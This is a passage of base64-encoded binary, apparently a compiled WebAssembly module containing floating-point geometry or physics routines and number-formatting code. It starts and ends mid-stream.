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AHIA44AgggByALOAIECyAgQSBqJAAPC0G498AAQR1BwPjAABCSCgAL1SwDGX8ffQN+IwBB8AdrIgskACALQRBqIg1BKGogCkEoaikCADcDACANQSBqIApBIGopAgA3AwAgDUEYaiAKQRhqKQIANwMAIA1BEGogCkEQaikCADcDACANQQhqIApBCGopAgA3AwAgCyADNgJIIAsgAjYCRCALIAE2AkAgCyAKKQIANwMQIAFBxABqKAIAIg4oAgghESABKAJAIQwgC0GwA2ogBiAEIAcoAogBEQIAIAtCADcDUCALIAUpAgA3A5AFIAtBkARqIgIgC0GQBWoiAykCADcCCCACIAtB0ABqIgopAgA3AgAgC0G8A2oqAgAhJCALKgKwAyElIAsqArgDISYgCyoCtAMhKCALKQO4AyFDIAspA7ADIUQgA0EIaiACQQhqKQMANwMAIAsgCykDkAQ3A5AFIAogAxCEBiALQdQBaiAONgIAIAtBvAFqIEOnviBEp76TQwAAAD+UIic4AgAgC0G4AWogJzgCACALQbQBaiAnOAIAIAtBrAFqICggJJJDAAAAv5QiJDgCACALQagBaiAkOAIAIAtBpAFqICQ4AgAgC0GgAWogJDgCACALQZwBaiAlICaSQwAAAL+UIiQ4AgAgC0GYAWogJDgCACAKQcQAaiAkOAIAIAtBzAFqIENCIIinviBEQiCIp76TQwAAAD+UIiU4AgAgC0HIAWogJTgCACALQcQBaiAlOAIAIAtBwAFqICU4AgAgCyAFNgLoASALIAQ2AuQBIAsgDCARQQdqQXhxajYC0AEgCyAnOAKwASALICQ4ApABIAsgDTYC7AEgC0HcAWogBzYCACALIAk6APABIAsgCDgC4AEgCyAGNgLYAQJAAkAgAUEYaigCACIFBEAgC0EANgKIAiALQoCAgIDAADcDgAIgC0GAAmoiAkEAEL8EIAsoAoQCIAsoAogCIgNBA3RqQoCAgIDw////fjcCACALIANBAWo2AogCIAtBwAJqIAIQgAJBBCECAkACQCALKALAAkEBRw0AIAtBkwRqIREgC0HNBmohFiALQZ0GaiEJIAtB7QVqIQ0gC0G9BWohDiALQeUHaiEXIAtBwAdqQQRyIRsgC0GQBWpBBHIhHEP//39/IScgAUEUaiEeAkADQCAnIAsqAsgCjF8NAgJAAn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MAIAUgAykDADcDACAjICItAAA6AAAgCyALKQOABzcDwAcgCyAQOgDkByALQdAGaiIFIAtBwAdqIgMqAiA4AiAgBSADLQAkOgAkIAUgAykCGDcCGCAFIAMpAgg3AgggBSADKgIEIiUgDCoCACIIlCADKgIAIiYgDEEEaioCACIklJIgDEEMaioCAJI4AgQgBSAMQQhqKgIAICYgCJQgJSAklJOSOAIAIAUgCCADKgIQIiWUICQgA0EUaioCACImlJO8rSAkICWUIAggJpSSvK1CIIaENwIQCyALQcAHaiIDQQhqIAtB0AZqIgVBCGopAwA3AwAgA0EQaiAFQRBqKQMANwMAIANBGGogBUEYaikDADcDACALIAspA9AGNwPAByALKgLwBiEkIAsoAvQGIQULIAVB/wFxQQRGDQAgC0GQBWogB2oiAyAPNgIAIAQgJCAnXToAACALQfgEaiAKaiAkOAIAIANBBGogEzYCACADQQhqIAspA8AHNwIAIANBEGogC0HAB2oiDEEIaikDADcCACADQRhqIAxBEGopAwA3AgAgA0EgaiAMQRhqKQMANwIAIANBLGogBTYCACADQShqICQ4AgALIAdBMGohByAEQQFqIQQgCkEEaiEKIENCBFINAAsgC0HgA2oiBEEQaiALQZAFaiIDQRBqKQMANwMAIARBGGogA0EYaikDADcDACAEQSBqIANBIGopAwA3AwAgBEEoaiADQShqKAIANgIAIAsgCykDkAU3A+ADIAsgA0EIaikDADcD6AMgCyoChAUhJiALKgKABSEIIAsqAvwEISUgCyoC+AQhJCALKAKMBSEKIAtBsANqIgNBCGogDkEIaikAADcDACADQRBqIA5BEGopAAA3AwAgA0EYaiAOQRhqKQAANwMAIANBIGogDkEgaikAADcDACADQSdqIA5BJ2opAAA3AAAgC0GAA2oiA0EIaiANQQhqKQAANwMAIANBEGogDUEQaikAADcDACADQRhqIA1BGGopAAA3AwAgA0EgaiANQSBqKQAANwMAIANBJ2ogDUEnaikAADcAACALIA4pAAA3A7ADIAsgDSkAADcDgAMgCy0AvAUhByALLQDsBSEEIAtB0AJqIgNBCGogCUEIaikAADcDACADQRBqIAlBEGopAAA3AwAgA0EYaiAJQRhqKQAANwMAIANBIGogCUEgaikAADcDACADQSdqIAlBJ2opAAA3AAAgC0HOAmogFkECai0AADoAACALIAkpAAA3A9ACIAsgFi8AADsBzAIgCkH/AXFBAkcEQCALLQCcBiEPIAstAMwGDAMLIAdB/wFxQQRGDQMgC0GbBWogCykD6AM3AAAgC0G7BWogC0GIBGooAgA2AAAgC0GzBWogC0HgA2oiAUEgaikDADcAACALQasFaiABQRhqKQMANwAAIAtBowVqIAFBEGopAwA3AAAgC0HCB2ogCy0AsgM6AAAgCyALKQPgAzcAkwUgC0GQBGoiAUEIaiALQZAFaiICQQhqKQAANwMAIAFBJ2ogAkEnaikAADcAACABQSBqIAJBIGopAAA3AwAgAUEYaiACQRhqKQAANwMAIAFBEGogAkEQaikAADcDACALIAsvAbADOwHAByALIAspAJAFNwOQBCAHIQIMBQsgAyAFQaTawAAQowcACyAKQf8BcUECRg0BQQQhB0EEIQRBBCEPQQQLIQwgBkHYAGohEyAOIAspA7ADNwAAIAtBkAVqIgNBCGogCykD6AM3AwAgA0EoaiALQeADaiIFQShqKAIANgIAIANBIGogBUEgaikDADcDACADQRhqIAVBGGopAwA3AwAgA0EQaiAFQRBqKQMANwMAIA5BCGogC0GwA2oiA0EIaikDADcAACAOQRBqIANBEGopAwA3AAAgDkEYaiADQRhqKQMANwAAIA5BIGogA0EgaikDADcAACAOQSdqIANBJ2opAAA3AAAgCyALKQPgAzcDkAUgCyAHOgC8BSANIAspA4ADNwAAIA1BCGogC0GAA2oiA0EIaikDADcAACANQRBqIANBEGopAwA3AAAgDUEYaiADQRhqKQMANwAAIA1BIGogA0EgaikDADcAACANQSdqIANBJ2opAAA3AAAgCSALKQPQAjcAACAJQQhqIAtB0AJqIgNBCGopAwA3AAAgCUEQaiADQRBqKQMANwAAIAlBGGogA0EYaikDADcAACAJQSBqIANBIGopAwA3AAAgCUEnaiADQSdqKQAANwAAIAsgBDoA7AUgCyAPOgCcBiAWIAsvAcwCOwAAIBZBAmogC0HOAmotAAA6AAAgCyAMOgDMBiALICY4AswHIAsgCDgCyAcgCyAlOALEByALICQ4AsAHIApBFXZBCHEgCkEOdkEEcSAKQQd2QQJxIA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